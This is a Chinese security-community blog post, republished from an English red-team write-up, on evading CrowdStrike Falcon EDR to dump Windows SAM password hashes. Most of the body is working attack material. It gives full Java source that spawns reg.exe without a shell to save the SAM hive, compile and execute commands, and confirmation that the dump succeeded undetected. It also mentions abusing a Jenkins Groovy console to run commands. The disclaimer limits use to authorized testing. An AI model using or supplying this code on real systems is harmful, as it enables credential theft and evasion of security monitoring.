免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
最近在红队评估中,在实现内网访问后,注意到所有服务器和工作站都受到 Crowd Strike Falcon EDR 的保护。这个工具可以主动阻止大多数已知的攻击。
在这种特殊情况下,我们的任务是从本地 Windows 服务器转储所有哈希(具有本地管理员权限)。
使用传统的转储方式:
C:reg save hklmsam c:sam
access denied.
此故障会在 Crowd Strike 控制台上生成日志:
该服务器安装了 Jenkins,我们注意到可以在 jenkins groovy 控制台上执行一些恶意命令。Crowd Strike 无法阻止他们。因此,我们使用 groovy 转储了哈希,但我们发现绕过 Crowd Strike 预防的更简单方法。如果进程由shell(cmd或powershell)调用,它似乎是连接的。
概念证明:
先决条件:最低本地管理员权限。
我们需要在没有shell的情况下执行应用程序(在本例中为:reg.exe)。几乎所有来自公司的服务器都出于某种原因安装了 java。(如果没有安装java,可以下载openjdk,解压使用,无需安装,100%可移植)
我写了一个非常基本的简单代码,只是为了执行这个过程。
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class FalconBypassTest {
public static void main(String[] args) {
ProcessBuilder processBuilder = new ProcessBuilder();
// Windows
processBuilder.command("reg.exe", "save", "hklm\sam", "c:\sam");
try {
Process process = processBuilder.start();
BufferedReader reader =
new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
int exitCode = process.waitFor();
System.out.println("nExited with error code : " + exitCode);
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
将文件另存为 FalconBypassTest.java。
编译:
javac.exe FalconBypassTest.java
执行:
java.exe FalconBypassTest
执行后,我们收到了操作完成的stdout,提取了SAM文件。
The operation completed successfully.
再次查看控制台,我们可以验证该操作已被检测到,但未被阻止。“不采取行动”。
使用 golang 尝试了相同的 POC,结果是一样的:如果进程被不同于 shell 的东西调用,Falcon 不会采取任何行动。
原文:https://gccybermonks.com/posts/falcon-bypass/
技术交流
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
原文始发于微信公众号(Z2O安全攻防):绕过 Crowd Strike Falcon 转储 Windows 哈希
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论